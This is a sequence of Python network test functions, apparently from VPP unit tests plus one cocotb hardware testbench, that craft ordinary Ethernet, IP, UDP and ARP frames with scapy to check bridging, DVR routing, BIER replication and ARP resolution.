igmp config")) self.assertFalse(self.vapi.igmp_dump()) # # TODO # ADD STATE ON MORE INTERFACES # self.vapi.igmp_enable_disable(self.pg0.sw_if_index, 0, IGMP_MODE.HOST)
async def run_test(dut): tb = TB(dut) await tb.init() tb.log.info("test UDP RX packet") payload = bytes([x % 256 for x in range(256)]) eth = Ether(src='5a:51:52:53:54:55', dst='02:00:00:00:00:00') ip = IP(src='192.168.1.100', dst='192.168.1.128') udp = UDP(sport=5678, dport=1234) test_pkt = eth / ip / udp / payload test_frame = XgmiiFrame.from_payload(test_pkt.build()) await tb.qsfp0_1_source.send(test_frame) tb.log.info("receive ARP request") rx_frame = await tb.qsfp0_1_sink.recv() rx_pkt = Ether(bytes(rx_frame.get_payload())) tb.log.info("RX packet: %s", repr(rx_pkt)) assert rx_pkt.dst == 'ff:ff:ff:ff:ff:ff' assert rx_pkt.src == test_pkt.dst assert rx_pkt[ARP].hwtype == 1 assert rx_pkt[ARP].ptype == 0x0800 assert rx_pkt[ARP].hwlen == 6 assert rx_pkt[ARP].plen == 4 assert rx_pkt[ARP].op == 1 assert rx_pkt[ARP].hwsrc == test_pkt.dst assert rx_pkt[ARP].psrc == test_pkt[IP].dst assert rx_pkt[ARP].hwdst == '00:00:00:00:00:00' assert rx_pkt[ARP].pdst == test_pkt[IP].src tb.log.info("send ARP response") eth = Ether(src=test_pkt.src, dst=test_pkt.dst) arp = ARP(hwtype=1, ptype=0x0800, hwlen=6, plen=4, op=2, hwsrc=test_pkt.src, psrc=test_pkt[IP].src, hwdst=test_pkt.dst, pdst=test_pkt[IP].dst) resp_pkt = eth / arp resp_frame = XgmiiFrame.from_payload(resp_pkt.build()) await tb.qsfp0_1_source.send(resp_frame) tb.log.info("receive UDP packet") rx_frame = await tb.qsfp0_1_sink.recv() rx_pkt = Ether(bytes(rx_frame.get_payload())) tb.log.info("RX packet: %s", repr(rx_pkt)) assert rx_pkt.dst == test_pkt.src assert rx_pkt.src == test_pkt.dst assert rx_pkt[IP].dst == test_pkt[IP].src assert rx_pkt[IP].src == test_pkt[IP].dst assert rx_pkt[UDP].dport == test_pkt[UDP].sport assert rx_pkt[UDP].sport == test_pkt[UDP].dport assert rx_pkt[UDP].payload == test_pkt[UDP].payload await RisingEdge(dut.clk) await RisingEdge(dut.clk)
def test_dvr(self): """ Distributed Virtual Router """ # # A packet destined to an IP address that is L2 bridged via # a non-tag interface # ip_non_tag_bridged = "10.10.10.10" ip_tag_bridged = "10.10.10.11" any_src_addr = "1.1.1.1" pkt_no_tag = (Ether(src=self.pg0.remote_mac, dst=self.loop0.local_mac) / IP(src=any_src_addr, dst=ip_non_tag_bridged) / UDP(sport=1234, dport=1234) / Raw('\xa5' * 100)) pkt_tag = (Ether(src=self.pg0.remote_mac, dst=self.loop0.local_mac) / IP(src=any_src_addr, dst=ip_tag_bridged) / UDP(sport=1234, dport=1234) / Raw('\xa5' * 100)) # # Two sub-interfaces so we can test VLAN tag push/pop # sub_if_on_pg2 = VppDot1QSubint(self, self.pg2, 92) sub_if_on_pg3 = VppDot1QSubint(self, self.pg3, 93) sub_if_on_pg2.admin_up() sub_if_on_pg3.admin_up() # # Put all the interfaces into a new bridge domain # self.vapi.sw_interface_set_l2_bridge( rx_sw_if_index=self.pg0.sw_if_index, bd_id=1) self.vapi.sw_interface_set_l2_bridge( rx_sw_if_index=self.pg1.sw_if_index, bd_id=1) self.vapi.sw_interface_set_l2_bridge( rx_sw_if_index=sub_if_on_pg2.sw_if_index, bd_id=1) self.vapi.sw_interface_set_l2_bridge( rx_sw_if_index=sub_if_on_pg3.sw_if_index, bd_id=1) self.vapi.sw_interface_set_l2_bridge( rx_sw_if_index=self.loop0.sw_if_index, bd_id=1, port_type=L2_PORT_TYPE.BVI) self.vapi.l2_interface_vlan_tag_rewrite( sw_if_index=sub_if_on_pg2.sw_if_index, vtr_op=L2_VTR_OP.L2_POP_1, push_dot1q=92) self.vapi.l2_interface_vlan_tag_rewrite( sw_if_index=sub_if_on_pg3.sw_if_index, vtr_op=L2_VTR_OP.L2_POP_1, push_dot1q=93) # # Add routes to bridge the traffic via a tagged an nontagged interface # route_no_tag = VppIpRoute( self, ip_non_tag_bridged, 32, [VppRoutePath("0.0.0.0", self.pg1.sw_if_index, is_dvr=1)]) route_no_tag.add_vpp_config() # # Inject the packet that arrives and leaves on a non-tagged interface # Since it's 'bridged' expect that the MAC headed is unchanged. # rx = self.send_and_expect(self.pg0, pkt_no_tag * 65, self.pg1) self.assert_same_mac_addr(pkt_no_tag, rx) self.assert_has_no_tag(rx) # # Add routes to bridge the traffic via a tagged interface # route_with_tag = VppIpRoute( self, ip_tag_bridged, 32, [VppRoutePath("0.0.0.0", sub_if_on_pg3.sw_if_index, is_dvr=1)]) route_with_tag.add_vpp_config() # # Inject the packet that arrives non-tag and leaves on a tagged # interface # rx = self.send_and_expect(self.pg0, pkt_tag * 65, self.pg3) self.assert_same_mac_addr(pkt_tag, rx) self.assert_has_vlan_tag(93, rx) # # Tag to tag # pkt_tag_to_tag = (Ether(src=self.pg2.remote_mac, dst=self.loop0.local_mac) / Dot1Q(vlan=92) / IP(src=any_src_addr, dst=ip_tag_bridged) / UDP(sport=1234, dport=1234) / Raw('\xa5' * 100)) rx = self.send_and_expect(self.pg2, pkt_tag_to_tag * 65, self.pg3) self.assert_same_mac_addr(pkt_tag_to_tag, rx) self.assert_has_vlan_tag(93, rx) # # Tag to non-Tag # pkt_tag_to_non_tag = (Ether(src=self.pg2.remote_mac, dst=self.loop0.local_mac) / Dot1Q(vlan=92) / IP(src=any_src_addr, dst=ip_non_tag_bridged) / UDP(sport=1234, dport=1234) / Raw('\xa5' * 100)) rx = self.send_and_expect(self.pg2, pkt_tag_to_non_tag * 65, self.pg1) self.assert_same_mac_addr(pkt_tag_to_tag, rx) self.assert_has_no_tag(rx) # # Add an output L3 ACL that will block the traffic # rule_1 = ({'is_permit': 0, 'is_ipv6': 0, 'proto': 17, 'srcport_or_icmptype_first': 1234, 'srcport_or_icmptype_last': 1234, 'src_ip_prefix_len': 32, 'src_ip_addr': inet_pton(AF_INET, any_src_addr), 'dstport_or_icmpcode_first': 1234, 'dstport_or_icmpcode_last': 1234, 'dst_ip_prefix_len': 32, 'dst_ip_addr': inet_pton(AF_INET, ip_non_tag_bridged)}) acl = self.vapi.acl_add_replace(acl_index=4294967295, r=[rule_1]) # # Apply the ACL on the output interface # self.vapi.acl_interface_set_acl_list(self.pg1.sw_if_index, 0, [acl.acl_index]) # # Send packet's that should match the ACL and be dropped # rx = self.send_and_assert_no_replies(self.pg2, pkt_tag_to_non_tag * 65) # # cleanup # self.vapi.acl_interface_set_acl_list(self.pg1.sw_if_index, 0, []) self.vapi.acl_del(acl.acl_index) self.vapi.sw_interface_set_l2_bridge( rx_sw_if_index=self.pg0.sw_if_index, bd_id=1, enable=0) self.vapi.sw_interface_set_l2_bridge( rx_sw_if_index=self.pg1.sw_if_index, bd_id=1, enable=0) self.vapi.sw_interface_set_l2_bridge( rx_sw_if_index=sub_if_on_pg2.sw_if_index, bd_id=1, enable=0) self.vapi.sw_interface_set_l2_bridge( rx_sw_if_index=sub_if_on_pg3.sw_if_index, bd_id=1, enable=0) self.vapi.sw_interface_set_l2_bridge( rx_sw_if_index=self.loop0.sw_if_index, bd_id=1, port_type=L2_PORT_TYPE.BVI, enable=0) # # Do a FIB dump to make sure the paths are correctly reported as DVR # routes = self.vapi.ip_fib_dump() for r in routes: if (inet_pton(AF_INET, ip_tag_bridged) == r.address): self.assertEqual(r.path[0].sw_if_index, sub_if_on_pg3.sw_if_index) self.assertEqual(r.path[0].is_dvr, 1) if (inet_pton(AF_INET, ip_non_tag_bridged) == r.address): self.assertEqual(r.path[0].sw_if_index, self.pg1.sw_if_index) self.assertEqual(r.path[0].is_dvr, 1) # # the explicit route delete is require so it happens before # the sbu-interface delete. subinterface delete is required # because that object type does not use the object registry # route_no_tag.remove_vpp_config() route_with_tag.remove_vpp_config() sub_if_on_pg3.remove_vpp_config() sub_if_on_pg2.remove_vpp_config()
def test_l2_emulation(self): """ L2 Emulation """ # # non distinct L3 packets, in the tag/non-tag combos # pkt_no_tag = (Ether(src=self.pg0.remote_mac, dst=self.pg1.remote_mac) / IP(src="2.2.2.2", dst="1.1.1.1") / UDP(sport=1234, dport=1234) / Raw('\xa5' * 100)) pkt_to_tag = (Ether(src=self.pg0.remote_mac, dst=self.pg2.remote_mac) / IP(src="2.2.2.2", dst="1.1.1.2") / UDP(sport=1234, dport=1234) / Raw('\xa5' * 100)) pkt_from_tag = (Ether(src=self.pg3.remote_mac, dst=self.pg2.remote_mac) / Dot1Q(vlan=93) / IP(src="2.2.2.2", dst="1.1.1.1") / UDP(sport=1234, dport=1234) / Raw('\xa5' * 100)) pkt_from_to_tag = (Ether(src=self.pg3.remote_mac, dst=self.pg2.remote_mac) / Dot1Q(vlan=93) / IP(src="2.2.2.2", dst="1.1.1.2") / UDP(sport=1234, dport=1234) / Raw('\xa5' * 100)) pkt_bcast = (Ether(src=self.pg0.remote_mac, dst="ff:ff:ff:ff:ff:ff") / IP(src="2.2.2.2", dst="255.255.255.255") / UDP(sport=1234, dport=1234) / Raw('\xa5' * 100)) # # A couple of sub-interfaces for tags # sub_if_on_pg2 = VppDot1QSubint(self, self.pg2, 92) sub_if_on_pg3 = VppDot1QSubint(self, self.pg3, 93) sub_if_on_pg2.admin_up() sub_if_on_pg3.admin_up() # # Put all the interfaces into a new bridge domain # self.vapi.sw_interface_set_l2_bridge( rx_sw_if_index=self.pg0.sw_if_index, bd_id=1) self.vapi.sw_interface_set_l2_bridge( rx_sw_if_index=self.pg1.sw_if_index, bd_id=1) self.vapi.sw_interface_set_l2_bridge( rx_sw_if_index=sub_if_on_pg2.sw_if_index, bd_id=1) self.vapi.sw_interface_set_l2_bridge( rx_sw_if_index=sub_if_on_pg3.sw_if_index, bd_id=1) self.vapi.l2_interface_vlan_tag_rewrite( sw_if_index=sub_if_on_pg2.sw_if_index, vtr_op=L2_VTR_OP.L2_POP_1, push_dot1q=92) self.vapi.l2_interface_vlan_tag_rewrite( sw_if_index=sub_if_on_pg3.sw_if_index, vtr_op=L2_VTR_OP.L2_POP_1, push_dot1q=93) # # Disable UU flooding, learning and ARP terminaation. makes this test # easier as unicast packets are dropped if not extracted. # self.vapi.bridge_flags(bd_id=1, is_set=0, flags=(1 << 0) | (1 << 3) | (1 << 4)) # # Add a DVR route to steer traffic at L3 # route_1 = VppIpRoute(self, "1.1.1.1", 32, [VppRoutePath("0.0.0.0", self.pg1.sw_if_index, is_dvr=1)]) route_2 = VppIpRoute(self, "1.1.1.2", 32, [VppRoutePath("0.0.0.0", sub_if_on_pg2.sw_if_index, is_dvr=1)]) route_1.add_vpp_config() route_2.add_vpp_config() # # packets are dropped because bridge does not flood unknown unicast # self.send_and_assert_no_replies(self.pg0, pkt_no_tag) # # Enable L3 extraction on pgs # self.vapi.l2_emulation(self.pg0.sw_if_index) self.vapi.l2_emulation(self.pg1.sw_if_index) self.vapi.l2_emulation(sub_if_on_pg2.sw_if_index) self.vapi.l2_emulation(sub_if_on_pg3.sw_if_index) # # now we expect the packet forward according to the DVR route # rx = self.send_and_expect(self.pg0, pkt_no_tag * 65, self.pg1) self.assert_same_mac_addr(pkt_no_tag, rx) self.assert_has_no_tag(rx) rx = self.send_and_expect(self.pg0, pkt_to_tag * 65, self.pg2) self.assert_same_mac_addr(pkt_to_tag, rx) self.assert_has_vlan_tag(92, rx) rx = self.send_and_expect(self.pg3, pkt_from_tag * 65, self.pg1) self.assert_same_mac_addr(pkt_from_tag, rx) self.assert_has_no_tag(rx) rx = self.send_and_expect(self.pg3, pkt_from_to_tag * 65, self.pg2) self.assert_same_mac_addr(pkt_from_tag, rx) self.assert_has_vlan_tag(92, rx) # # but broadcast packets are still flooded # self.send_and_expect(self.pg0, pkt_bcast * 33, self.pg2) # # cleanup # self.vapi.l2_emulation(self.pg0.sw_if_index, enable=0) self.vapi.l2_emulation(self.pg1.sw_if_index, enable=0) self.vapi.l2_emulation(sub_if_on_pg2.sw_if_index, enable=0) self.vapi.l2_emulation(sub_if_on_pg3.sw_if_index, enable=0) self.vapi.sw_interface_set_l2_bridge( rx_sw_if_index=self.pg0.sw_if_index, bd_id=1, enable=0) self.vapi.sw_interface_set_l2_bridge( rx_sw_if_index=self.pg1.sw_if_index, bd_id=1, enable=0) self.vapi.sw_interface_set_l2_bridge( rx_sw_if_index=sub_if_on_pg2.sw_if_index, bd_id=1, enable=0) self.vapi.sw_interface_set_l2_bridge( rx_sw_if_index=sub_if_on_pg3.sw_if_index, bd_id=1, enable=0) route_1.remove_vpp_config() route_2.remove_vpp_config() sub_if_on_pg3.remove_vpp_config() sub_if_on_pg2.remove_vpp_config()
def test_bier_e2e(self): """ BIER end-to-end """ # # Add a BIER table for sub-domain 0, set 0, and BSL 256 # bti = VppBierTableID(0, 0, BIERLength.BIER_LEN_256) bt = VppBierTable(self, bti, 77) bt.add_vpp_config() # # Impostion Sets bit string 101010101.... # sender 333 # bi = VppBierImp(self, bti, 333, chr(0x5) * 32) bi.add_vpp_config() # # Add a multicast route that will forward into the BIER doamin # route_ing_232_1_1_1 = VppIpMRoute( self, "0.0.0.0", "232.1.1.1", 32, MRouteEntryFlags.MFIB_ENTRY_FLAG_NONE, paths=[ VppMRoutePath(self.pg0.sw_if_index, MRouteItfFlags.MFIB_ITF_FLAG_ACCEPT), VppMRoutePath(0xffffffff, MRouteItfFlags.MFIB_ITF_FLAG_FORWARD, proto=DpoProto.DPO_PROTO_BIER, bier_imp=bi.bi_index) ]) route_ing_232_1_1_1.add_vpp_config() # # disposition table 8 # bdt = VppBierDispTable(self, 8) bdt.add_vpp_config() # # BIER route in table that's for-us, resolving through # disp table 8. # bier_route_1 = VppBierRoute(self, bti, 1, "0.0.0.0", MPLS_LABEL_INVALID, disp_table=8) bier_route_1.add_vpp_config() # # An entry in the disposition table for sender 333 # lookup in VRF 10 # bier_de_1 = VppBierDispEntry(self, bdt.id, 333, BIER_HDR_PAYLOAD.BIER_HDR_PROTO_IPV4, "0.0.0.0", 10, rpf_id=8192) bier_de_1.add_vpp_config() # # Add a multicast route that will forward the traffic # post-disposition # route_eg_232_1_1_1 = VppIpMRoute( self, "0.0.0.0", "232.1.1.1", 32, MRouteEntryFlags.MFIB_ENTRY_FLAG_NONE, table_id=10, paths=[ VppMRoutePath(self.pg1.sw_if_index, MRouteItfFlags.MFIB_ITF_FLAG_FORWARD) ]) route_eg_232_1_1_1.add_vpp_config() route_eg_232_1_1_1.update_rpf_id(8192) # # inject a packet in VRF-0. We expect it to be BIER encapped, # replicated, then hit the disposition and be forwarded # out of VRF 10, i.e. on pg1 # p = (Ether(dst=self.pg0.local_mac, src=self.pg0.remote_mac) / IP(src="1.1.1.1", dst="232.1.1.1") / UDP(sport=1234, dport=1234)) self.send_and_expect(self.pg0, p * 65, self.pg1)
def test_arp_incomplete(self): """ ARP Incomplete""" self.pg1.generate_remote_hosts(3) p0 = (Ether(dst=self.pg0.local_mac, src=self.pg0.remote_mac) / IP(src=self.pg0.remote_ip4, dst=self.pg1.remote_hosts[1].ip4) / UDP(sport=1234, dport=1234) / Raw()) p1 = (Ether(dst=self.pg0.local_mac, src=self.pg0.remote_mac) / IP(src=self.pg0.remote_ip4, dst=self.pg1.remote_hosts[2].ip4) / UDP(sport=1234, dport=1234) / Raw()) # # a packet to an unresolved destination generates an ARP request # rx = self.send_and_expect(self.pg0, [p0], self.pg1) self.verify_arp_req(rx[0], self.pg1.local_mac, self.pg1.local_ip4, self.pg1._remote_hosts[1].ip4) # # add a neighbour for remote host 1 # static_arp = VppNeighbor(self, self.pg1.sw_if_index, self.pg1.remote_hosts[1].mac, self.pg1.remote_hosts[1].ip4, is_static=1) static_arp.add_vpp_config() # # change the interface's MAC # mac = [chr(0x00), chr(0x00), chr(0x00), chr(0x33), chr(0x33), chr(0x33)] mac_string = ''.join(mac) self.vapi.sw_interface_set_mac_address(self.pg1.sw_if_index, mac_string) # # now ARP requests come from the new source mac # rx = self.send_and_expect(self.pg0, [p1], self.pg1) self.verify_arp_req(rx[0], "00:00:00:33:33:33", self.pg1.local_ip4, self.pg1._remote_hosts[2].ip4) # # packets to the resolved host also have the new source mac # rx = self.send_and_expect(self.pg0, [p0], self.pg1) self.verify_ip(rx[0], "00:00:00:33:33:33", self.pg1.remote_hosts[1].mac, self.pg0.remote_ip4, self.pg1.remote_hosts[1].ip4) # # set the mac address on the inteface that does not have a # configured subnet and thus no glean # self.vapi.sw_interface_set_mac_address(self.pg2.sw_if_index, mac_string)
def test_bier_head(self): """BIER head""" MRouteItfFlags = VppEnum.vl_api_mfib_itf_flags_t MRouteEntryFlags = VppEnum.vl_api_mfib_entry_flags_t # # Add a BIER table for sub-domain 0, set 0, and BSL 256 # bti = VppBierTableID(0, 0, BIERLength.BIER_LEN_256) bt = VppBierTable(self, bti, 77) bt.add_vpp_config() # # 2 bit positions via two next hops # nh1 = "10.0.0.1" nh2 = "10.0.0.2" ip_route_1 = VppIpRoute( self, nh1, 32, [ VppRoutePath( self.pg1.remote_ip4, self.pg1.sw_if_index, labels=[VppMplsLabel(2001)], ) ], ) ip_route_2 = VppIpRoute( self, nh2, 32, [ VppRoutePath( self.pg1.remote_ip4, self.pg1.sw_if_index, labels=[VppMplsLabel(2002)], ) ], ) ip_route_1.add_vpp_config() ip_route_2.add_vpp_config() bier_route_1 = VppBierRoute( self, bti, 1, [VppRoutePath(nh1, 0xFFFFFFFF, labels=[VppMplsLabel(101)])]) bier_route_2 = VppBierRoute( self, bti, 2, [VppRoutePath(nh2, 0xFFFFFFFF, labels=[VppMplsLabel(102)])]) bier_route_1.add_vpp_config() bier_route_2.add_vpp_config() # # An imposition object with both bit-positions set # bi = VppBierImp(self, bti, 333, scapy.compat.chb(0x3) * 32) bi.add_vpp_config() # # Add a multicast route that will forward into the BIER doamin # route_ing_232_1_1_1 = VppIpMRoute( self, "0.0.0.0", "232.1.1.1", 32, MRouteEntryFlags.MFIB_API_ENTRY_FLAG_NONE, paths=[ VppMRoutePath(self.pg0.sw_if_index, MRouteItfFlags.MFIB_API_ITF_FLAG_ACCEPT), VppMRoutePath( 0xFFFFFFFF, MRouteItfFlags.MFIB_API_ITF_FLAG_FORWARD, proto=FibPathProto.FIB_PATH_NH_PROTO_BIER, type=FibPathType.FIB_PATH_TYPE_BIER_IMP, bier_imp=bi.bi_index, ), ], ) route_ing_232_1_1_1.add_vpp_config() # # inject an IP packet. We expect it to be BIER encapped and # replicated. # p = (Ether(dst=self.pg0.local_mac, src=self.pg0.remote_mac) / IP(src="1.1.1.1", dst="232.1.1.1") / UDP(sport=1234, dport=1234)) self.pg0.add_stream([p]) self.pg_enable_capture(self.pg_interfaces) self.pg_start() rx = self.pg1.get_capture(2) # # Encap Stack is; eth, MPLS, MPLS, BIER # igp_mpls = rx[0][MPLS] self.assertEqual(igp_mpls.label, 2001) self.assertEqual(igp_mpls.ttl, 64) self.assertEqual(igp_mpls.s, 0) bier_mpls = igp_mpls[MPLS].payload self.assertEqual(bier_mpls.label, 101) self.assertEqual(bier_mpls.ttl, 64) self.assertEqual(bier_mpls.s, 1) self.assertEqual(rx[0][BIER].length, 2) igp_mpls = rx[1][MPLS] self.assertEqual(igp_mpls.label, 2002) self.assertEqual(igp_mpls.ttl, 64) self.assertEqual(igp_mpls.s, 0) bier_mpls = igp_mpls[MPLS].payload self.assertEqual(bier_mpls.label, 102) self.assertEqual(bier_mpls.ttl, 64) self.assertEqual(bier_mpls.s, 1) self.assertEqual(rx[0][BIER].length, 2)
def test_arp(self): """ ARP """ # # Generate some hosts on the LAN # self.pg1.generate_remote_hosts(11) # # Send IP traffic to one of these unresolved hosts. # expect the generation of an ARP request # p = (Ether(dst=self.pg0.local_mac, src=self.pg0.remote_mac) / IP(src=self.pg0.remote_ip4, dst=self.pg1._remote_hosts[1].ip4) / UDP(sport=1234, dport=1234) / Raw()) self.pg0.add_stream(p) self.pg_enable_capture(self.pg_interfaces) self.pg_start() rx = self.pg1.get_capture(1) self.verify_arp_req(rx[0], self.pg1.local_mac, self.pg1.local_ip4, self.pg1._remote_hosts[1].ip4) # # And a dynamic ARP entry for host 1 # dyn_arp = VppNeighbor(self, self.pg1.sw_if_index, self.pg1.remote_hosts[1].mac, self.pg1.remote_hosts[1].ip4) dyn_arp.add_vpp_config() # # now we expect IP traffic forwarded # dyn_p = (Ether(dst=self.pg0.local_mac, src=self.pg0.remote_mac) / IP(src=self.pg0.remote_ip4, dst=self.pg1._remote_hosts[1].ip4) / UDP(sport=1234, dport=1234) / Raw()) self.pg0.add_stream(dyn_p) self.pg_enable_capture(self.pg_interfaces) self.pg_start() rx = self.pg1.get_capture(1) self.verify_ip(rx[0], self.pg1.local_mac, self.pg1.remote_hosts[1].mac, self.pg0.remote_ip4, self.pg1._remote_hosts[1].ip4) # # And a Static ARP entry for host 2 # static_arp = VppNeighbor(self, self.pg1.sw_if_index, self.pg1.remote_hosts[2].mac, self.pg1.remote_hosts[2].ip4, is_static=1) static_arp.add_vpp_config() static_p = (Ether(dst=self.pg0.local_mac, src=self.pg0.remote_mac) / IP(src=self.pg0.remote_ip4, dst=self.pg1._remote_hosts[2].ip4) / UDP(sport=1234, dport=1234) / Raw()) self.pg0.add_stream(static_p) self.pg_enable_capture(self.pg_interfaces) self.pg_start() rx = self.pg1.get_capture(1) self.verify_ip(rx[0], self.pg1.local_mac, self.pg1.remote_hosts[2].mac, self.pg0.remote_ip4, self.pg1._remote_hosts[2].ip4) # # flap the link. dynamic ARPs get flush, statics don't # self.pg1.admin_down() self.pg1.admin_up() self.pg0.add_stream(static_p) self.pg_enable_capture(self.pg_interfaces) self.pg_start() rx = self.pg1.get_capture(1) self.verify_ip(rx[0], self.pg1.local_mac, self.pg1.remote_hosts[2].mac, self.pg0.remote_ip4, self.pg1._remote_hosts[2].ip4) self.pg0.add_stream(dyn_p) self.pg_enable_capture(self.pg_interfaces) self.pg_start() rx = self.pg1.get_capture(1) self.verify_arp_req(rx[0], self.pg1.local_mac, self.pg1.local_ip4, self.pg1._remote_hosts[1].ip4) # # Send an ARP request from one of the so-far unlearned remote hosts # p = (Ether(dst="ff:ff:ff:ff:ff:ff", src=self.pg1._remote_hosts[3].mac) / ARP(op="who-has", hwsrc=self.pg1._remote_hosts[3].mac, pdst=self.pg1.local_ip4, psrc=self.pg1._remote_hosts[3].ip4)) self.pg1.add_stream(p) self.pg_enable_capture(self.pg_interfaces) self.pg_start() rx = self.pg1.get_capture(1) self.verify_arp_resp(rx[0], self.pg1.local_mac, self.pg1._remote_hosts[3].mac, self.pg1.local_ip4, self.pg1._remote_hosts[3].ip4) # # VPP should have learned the mapping for the remote host # self.assertTrue(find_nbr(self, self.pg1.sw_if_index, self.pg1._remote_hosts[3].ip4)) # # Fire in an ARP request before the interface becomes IP enabled # self.pg2.generate_remote_hosts(4) p = (Ether(dst="ff:ff:ff:ff:ff:ff", src=self.pg2.remote_mac) / ARP(op="who-has", hwsrc=self.pg2.remote_mac, pdst=self.pg1.local_ip4, psrc=self.pg2.remote_hosts[3].ip4)) pt = (Ether(dst="ff:ff:ff:ff:ff:ff", src=self.pg2.remote_mac) / Dot1Q(vlan=0) / ARP(op="who-has", hwsrc=self.pg2.remote_mac, pdst=self.pg1.local_ip4, psrc=self.pg2.remote_hosts[3].ip4)) self.send_and_assert_no_replies(self.pg2, p, "interface not IP enabled") # # Make pg2 un-numbered to pg1 # self.pg2.set_unnumbered(self.pg1.sw_if_index) # # We should respond to ARP requests for the unnumbered to address # once an attached route to the source is known # self.send_and_assert_no_replies( self.pg2, p, "ARP req for unnumbered address - no source") attached_host = VppIpRoute(self, self.pg2.remote_hosts[3].ip4, 32, [VppRoutePath("0.0.0.0", self.pg2.sw_if_index)]) attached_host.add_vpp_config() self.pg2.add_stream(p) self.pg_enable_capture(self.pg_interfaces) self.pg_start() rx = self.pg2.get_capture(1) self.verify_arp_resp(rx[0], self.pg2.local_mac, self.pg2.remote_mac, self.pg1.local_ip4, self.pg2.remote_hosts[3].ip4) self.pg2.add_stream(pt) self.pg_enable_capture(self.pg_interfaces) self.pg_start() rx = self.pg2.get_capture(1) self.verify_arp_resp(rx[0], self.pg2.local_mac, self.pg2.remote_mac, self.pg1.local_ip4, self.pg2.remote_hosts[3].ip4) # # A neighbor entry that has no associated FIB-entry # arp_no_fib = VppNeighbor(self, self.pg1.sw_if_index, self.pg1.remote_hosts[4].mac, self.pg1.remote_hosts[4].ip4, is_no_fib_entry=1) arp_no_fib.add_vpp_config() # # check we have the neighbor, but no route # self.assertTrue(find_nbr(self, self.pg1.sw_if_index, self.pg1._remote_hosts[4].ip4)) self.assertFalse(find_route(self, self.pg1._remote_hosts[4].ip4, 32)) # # pg2 is unnumbered to pg1, so we can form adjacencies out of pg2 # from within pg1's subnet # arp_unnum = VppNeighbor(self, self.pg2.sw_if_index, self.pg1.remote_hosts[5].mac, self.pg1.remote_hosts[5].ip4) arp_unnum.add_vpp_config() p = (Ether(dst=self.pg0.local_mac, src=self.pg0.remote_mac) / IP(src=self.pg0.remote_ip4, dst=self.pg1._remote_hosts[5].ip4) / UDP(sport=1234, dport=1234) / Raw()) self.pg0.add_stream(p) self.pg_enable_capture(self.pg_interfaces) self.pg_start() rx = self.pg2.get_capture(1) self.verify_ip(rx[0], self.pg2.local_mac, self.pg1.remote_hosts[5].mac, self.pg0.remote_ip4, self.pg1._remote_hosts[5].ip4) # # ARP requests from hosts in pg1's subnet sent on pg2 are replied to # with the unnumbered interface's address as the source # p = (Ether(dst="ff:ff:ff:ff:ff:ff", src=self.pg2.remote_mac) / ARP(op="who-has", hwsrc=self.pg2.remote_mac, pdst=self.pg1.local_ip4, psrc=self.pg1.remote_hosts[6].ip4)) self.pg2.add_stream(p) self.pg_enable_capture(self.pg_interfaces) self.pg_start() rx = self.pg2.get_capture(1) self.verify_arp_resp(rx[0], self.pg2.local_mac, self.pg2.remote_mac, self.pg1.local_ip4, self.pg1.remote_hosts[6].ip4) # # An attached host route out of pg2 for an undiscovered hosts generates # an ARP request with the unnumbered address as the source # att_unnum = VppIpRoute(self, self.pg1.remote_hosts[7].ip4, 32, [VppRoutePath("0.0.0.0", self.pg2.sw_if_index)]) att_unnum.add_vpp_config() p = (Ether(dst=self.pg0.local_mac, src=self.pg0.remote_mac) / IP(src=self.pg0.remote_ip4, dst=self.pg1._remote_hosts[7].ip4) / UDP(sport=1234, dport=1234) / Raw()) self.pg0.add_stream(p) self.pg_enable_capture(self.pg_interfaces) self.pg_start() rx = self.pg2.get_capture(1) self.verify_arp_req(rx[0], self.pg2.local_mac, self.pg1.local_ip4, self.pg1._remote_hosts[7].ip4) p = (Ether(dst="ff:ff:ff:ff:ff:ff", src=self.pg2.remote_mac) / ARP(op="who-has", hwsrc=self.pg2.remote_mac, pdst=self.pg1.local_ip4, psrc=self.pg1.remote_hosts[7].ip4)) self.pg2.add_stream(p) self.pg_enable_capture(self.pg_interfaces) self.pg_start() rx = self.pg2.get_capture(1) self.verify_arp_resp(rx[0], self.pg2.local_mac, self.pg2.remote_mac, self.pg1.local_ip4, self.pg1.remote_hosts[7].ip4) # # An attached host route as yet unresolved out of pg2 for an # undiscovered host, an ARP requests begets a response. # att_unnum1 = VppIpRoute(self, self.pg1.remote_hosts[8].ip4, 32, [VppRoutePath("0.0.0.0", self.pg2.sw_if_index)]) att_unnum1.add_vpp_config() p = (Ether(dst="ff:ff:ff:ff:ff:ff", src=self.pg2.remote_mac) / ARP(op="who-has", hwsrc=self.pg2.remote_mac, pdst=self.pg1.local_ip4, psrc=self.pg1.remote_hosts[8].ip4)) self.pg2.add_stream(p) self.pg_enable_capture(self.pg_interfaces) self.pg_start() rx = self.pg2.get_capture(1) self.verify_arp_resp(rx[0], self.pg2.local_mac, self.pg2.remote_mac, self.pg1.local_ip4, self.pg1.remote_hosts[8].ip4) # # Send an ARP request from one of the so-far unlearned remote hosts # with a VLAN0 tag # p = (Ether(dst="ff:ff:ff:ff:ff:ff", src=self.pg1._remote_hosts[9].mac) / Dot1Q(vlan=0) / ARP(op="who-has", hwsrc=self.pg1._remote_hosts[9].mac, pdst=self.pg1.local_ip4, psrc=self.pg1._remote_hosts[9].ip4)) self.pg1.add_stream(p) self.pg_enable_capture(self.pg_interfaces) self.pg_start() rx = self.pg1.get_capture(1) self.verify_arp_resp(rx[0], self.pg1.local_mac, self.pg1._remote_hosts[9].mac, self.pg1.local_ip4, self.pg1._remote_hosts[9].ip4) # # Add a hierachy of routes for a host in the sub-net. # Should still get an ARP resp since the cover is attached # p = (Ether(dst="ff:ff:ff:ff:ff:ff", src=self.pg1.remote_mac) / ARP(op="who-has", hwsrc=self.pg1.remote_mac, pdst=self.pg1.local_ip4, psrc=self.pg1.remote_hosts[10].ip4)) r1 = VppIpRoute(self, self.pg1.remote_hosts[10].ip4, 30, [VppRoutePath(self.pg1.remote_hosts[10].ip4, self.pg1.sw_if_index)]) r1.add_vpp_config() self.pg1.add_stream(p) self.pg_enable_capture(self.pg_interfaces) self.pg_start() rx = self.pg1.get_capture(1) self.verify_arp_resp(rx[0], self.pg1.local_mac, self.pg1.remote_mac, self.pg1.local_ip4, self.pg1.remote_hosts[10].ip4) r2 = VppIpRoute(self, self.pg1.remote_hosts[10].ip4, 32, [VppRoutePath(self.pg1.remote_hosts[10].ip4, self.pg1.sw_if_index)]) r2.add_vpp_config() self.pg1.add_stream(p) self.pg_enable_capture(self.pg_interfaces) self.pg_start() rx = self.pg1.get_capture(1) self.verify_arp_resp(rx[0], self.pg1.local_mac, self.pg1.remote_mac, self.pg1.local_ip4, self.pg1.remote_hosts[10].ip4) # # add 